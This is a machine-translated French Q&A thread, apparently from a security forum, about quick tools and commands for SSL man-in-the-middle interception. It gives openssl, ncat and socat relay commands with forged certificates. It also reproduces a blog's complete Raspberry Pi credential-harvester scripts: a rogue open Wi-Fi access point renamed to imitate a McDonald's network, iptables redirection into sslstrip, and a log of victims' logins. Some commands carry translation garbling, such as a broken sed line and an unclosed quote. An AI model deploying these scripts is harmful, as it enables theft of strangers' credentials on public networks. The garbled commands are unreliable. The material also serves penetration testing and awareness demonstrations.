Je voudrais effectuer une attaque d'homme au milieu sur les connexions SSL entre les clients et un serveur.
En supposant ce qui suit:
Je pourrais écrire du code pour écouter sur un port, servir le certificat et lancer SSL, puis transmettre des trucs en tant que proxy transparent, puis faire une usurpation ARP pour rediriger le trafic vers moi, mais cela demande beaucoup d'efforts et devient lourd lorsque je travaille sur un test qui a une contrainte de temps serrée.
Quel est un moyen rapide/facile d'effectuer une attaque de l'homme du milieu? Existe-t-il des outils conçus pour faciliter cela de manière simple, sans beaucoup de configuration? Quelque chose qui est activement maintenu est un plus.
Mise à jour:
Pour HTTP vous pouvez utiliser le proxy de Burp Suite (Java) ou mitmproxy .
tcpcatcher est un proxy de capture et de modification d'interface graphique plus général basé sur Java qui pourrait être plus proche de vos besoins, il comprend le décodage et la modification de contenu (manuel et programmatique). Il est biaisé HTTP, mais accepte tout TCP. Il prend en charge SSL, bien que le seul inconvénient semble être qu'il n'existe aucun moyen (documenté) d'utiliser votre propre certificat spécifique, uniquement à la volée. Vous pouvez facilement utiliser l'une des options ci-dessous pour contourner ce problème.
Si vous voulez un agnostique rapide, peu technologique et de protocole, vous pouvez obtenir la plupart de la manière avec juste OpenSSL sur une boîte Unix:
mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
-accept 443 -cert fake.crt -key fake.key < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request | tee -a response
-quiet
permet également -ign_eof
qui supprime la gestion spéciale des caractères au début de la ligne (pour la saisie en ligne), comme "Q" pour quitter. s_client
prend également en charge les capacités de base de STARTTLS: SMTP, POP3, IMAP, FTP (auth), XMPP et TELNET (à partir d'OpenSSL-1.1).
Démarrez chaque openssl
dans un terminal différent. Remplacez le tee
par quelque chose de scripté pour modifier les demandes et les réponses si nécessaire. Ce n'est pas le plus robuste, mais il pourrait être utile. Il prend en charge DTLS, si vous en avez besoin, la prise en charge IPv6 nécessite OpenSSL-1.1. ( GnuTLS prend en charge IPv6, et comme la v3.0 prend également en charge DTLS, vous pouvez presque certainement faire quelque chose de similaire avec gnutls-serv
et gnutls-cli
, Je n'ai pas encore essayé.)
ncat
avec son -exec
l'option devrait également fonctionner:
ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
--sh-exec "openssl s_client -quiet -connect www.server.com:443" \
-kl 127.0.0.1 4443
Vous pouvez simplement utiliser "--exec
"et enveloppez plutôt votre propre client dans un script. Avec s_client
cela aide beaucoup les performances pour pré-créer un fichier de session, puis ajouter -sess_in ssl.sess -sess_out ssl.sess
à vos invocations.
Encore une fois, si vous avez besoin de scripter/coder le MITM vous-même socat
est une autre bonne option (et probablement la plus robuste):
CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \
OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork \
EXEC:mitm.sh
Avec une doublure comme openssl s_client -quiet -connect www.server.com:443
dans mitm.sh
pour commencer, fonctionne exactement comme un client inetd
.
stunnel est plus proxy que socat, il a un gros avantage que je ne vois nulle part ailleurs: il supporte mises à niveau TLS dans le protocole/ STARTTLS , pour POP3, IMAP, SMTP et quelques autres en modes client et serveur; bien que LDAP et FTP soient des omissions notables (ce dernier étant compréhensible). Son mode inetd peut être (ab) utilisé comme avec les options "exec" ci-dessus.
Pour modification des protocoles Internet communs génériques basés sur du texte utilisant ces méthodes, vous pourrez peut-être vous en sortir avec sed
(comme une connexion plus conviviale netsed ) ou light expect
scripting.
Le proxy multiprotocole Délégué prend également en charge la gestion externe (de type inetd) et script intégré la prise en charge de la correspondance, du filtrage et de la réécriture pour a sous-ensemble des protocoles pris en charge.
Les seules autres choses auxquelles je peux penser à proximité des proxys MITM agnostiques de protocole générique sont des outils de fuzzing, comme proxyfuzz
, ou des modules modulaires multi-protocoles comme backfuzz
(soyez prudent en recherchant ce dernier ;-).
D'autres outils pouvant être utiles (pour détourner le trafic) comprennent:
arpspoof
arpsend
de vzctlJe suis également tombé sur des références à Zorp plusieurs fois en fouillant dans mes notes, non libre disponible à la fois dans une publicité (je n'ai aucune affiliation) et dans une version GPL . Mérite une mention, en raison de ses prétentions d'être un pare-feu/passerelle multi-protocole modulaire, extensible (via Python). L'inspection TLS est prise en charge dans la version GPL (SSH et d'autres semblent limités à la version non GPL).
Voici un article de mon blog impliquant l'utilisation de SSLStrip dans une attaque MITM avec un Raspberry Pi - a dû le retirer car Google Blogger ne l'aimait pas, donc ce contenu est collé depuis Evernote :)
Dans le cadre d'une démonstration de sensibilisation à la sécurité, j'ai configuré mon AP sans fil 3g Pi pour supprimer SSL des sites Web sécurisés et récolter les informations de connexion. Vous le savez peut-être dans le contexte des attaques MITM, mais comme le Pi est la passerelle, il n'est pas nécessaire d'empoisonner ARP le réseau et le tout fonctionne un peu plus rapidement. Je voulais montrer à quel point il serait facile pour quelqu'un de configurer un point d'accès sans fil fournissant une connexion Internet gratuite, avec l'équipement caché - peut-être dans un sac à dos - et de s'asseoir dans un lieu public en saisissant les informations de connexion sans que personne ne soupçonne rien *. À l'avenir, je voudrais le faire tout en exécutant le Pi à partir d'un groupe de batteries.
Une description des scripts suit:
Menu
Ce script est un menu simple pour utiliser les scripts de collecte d'informations d'identification. Il est copié sur le blog de Jeroen Doggen et modifié en conséquence. Les parties en surbrillance doivent être remplacées par le répertoire contenant les scripts.
menu.sh
#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "
read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;
esac
done
Changer le SSID
Pour que le récupérateur d'informations d'identification Pi semble crédible, nous devons pouvoir changer le SSID - le nom que tout le monde voit lorsqu'il recherche les réseaux disponibles - pour correspondre à notre environnement actuel. Assis dans McDonalds? Changez le SSID en "McDonalds Free Customer Wifi" ou quelque chose de ce genre.
Étant donné que le récupérateur d'informations d'identification Pi est sans tête, la façon la plus simple de le faire serait SSH sur Wifi et d'exécuter un script simple.
Le script utilisera la commande Sed. De la page de manuel Sed: Sed est un éditeur de flux). A l'éditeur de flux est utilisé pour effectuer des transformations de texte de base sur un flux d'entrée (un fichier ou une entrée à partir d'un pipeline).
Nous devrions donc pouvoir remplacer l'entrée du nom SSID dans le fichier hostapd.conf en utilisant Sed. La page de manuel spécifie que l'indicateur '-i' est utilisé pour les modifications en ligne - en tant que telles, les modifications en direct qui ne créent pas une autre copie du fichier. Pour remplacer le SSID, la syntaxe de commande complète serait:
sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE
Le 's' et le 'g' au début et à la fin de la chaîne de recherche et de remplacement définissent le type de recherche et de remplacement à effectuer. Notre STRING_TO_FIND serait 'SSID = Pifi', et le STRING_TO_REPLACE serait 'SSID = McDonalds Free Customer Wifi 'dans cet exemple. FILE est le fichier /etc/hostapd.conf, nous donnant la commande:
sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf
Le service hostapd doit être redémarré pour que la modification soit appliquée:
Sudo service hostapd restart
Le script final que j'ai trouvé obtient le nom du SSID actuel, l'affiche, puis invite l'utilisateur à saisir le SSID souhaité. Ceci est transmis à "sed" qui effectue une modification en ligne de hostapd.conf et redémarre le service pour appliquer la modification.
changeSsid.sh
#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name
echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
Sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
Sudo service hostapd restart
Rendre le réseau ouvert
makeOpen.sh
Ce script utilise 'sed' pour commenter la ligne dans hostapd.conf qui active la sécurité wpa - cela rend l'AP ouvert pour que tout le monde puisse le jouer. Le service hostapd est redémarré pour activer la modification.
#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
Sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart
Exécutez SSLStrip
sslStrip.sh
Ce script exécute SSLStrip, qui "simule" la protection SSL des sites Web sécurisés, permettant aux informations de connexion d'être lues en texte brut. Vous pouvez trouver plus d'informations sur le site Web SSLStrip.
#!/bin/bash
echo "Editing Iptables and starting sslstrip"
Sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &
Fermer SSLStrip
Ce script supprime la règle de routage d'iptables, permettant à nouveau une navigation normale. Il tue également le processus sslstrip.
tidySslStrip.sh
#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
Sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sudo killall sslstrip
Rendre le réseau sécurisé
Ce script utilise 'sed' pour réactiver la ligne wpa dans hostapd.conf, ce qui rend l'AP sécurisé à nouveau.
makeSecure.sh
#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
Sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
Sudo service hostapd restart
Si vous copiez et collez ces derniers dans des scripts manuellement, n'oubliez pas de les rendre exécutables, en utilisant:
Sudo chmod +x SCRIPT_NAME
Affichage des informations d'identification
Ce script ouvre simplement le fichier journal SSLStrip afin que vous puissiez y rechercher des noms d'utilisateur et des mots de passe - il y a beaucoup de déchets dans le fichier, mais ils y sont!
#!/bin/bash
Sudo nano /home/pi/cred_harv/ssl.log
SSLStrip serait probablement utile pour configurer un test ou une démonstration d'un MITM. C'est un python que vous pouvez utiliser avec le spoofing arp pour configurer MiTM. Il peut subvertir les redirections de http vers https. Il peut également être configuré pour être utilisé avec un certificat afin que la victime vous connecte via ssl et vous vous connectez à leur destination initiale. Il y a une vidéo sur la page Moxie Marlinspike qui montre quelques-unes de ses utilisations.
Perl IO :: Socket :: SSL :: Intercept est un autre ajout notable aux suggestions utiles ci-dessus.
PolarProxy peut créer des fichiers PCAP avec du trafic TLS décrypté, tels que HTTP et HTTP/2. Vous pouvez même le configurer pour décrypter FTPS/IMAPS/SMTPS etc.
Avertissement: PolarProxy est un outil gratuit qui est développé et maintenu par nous chez Netresec.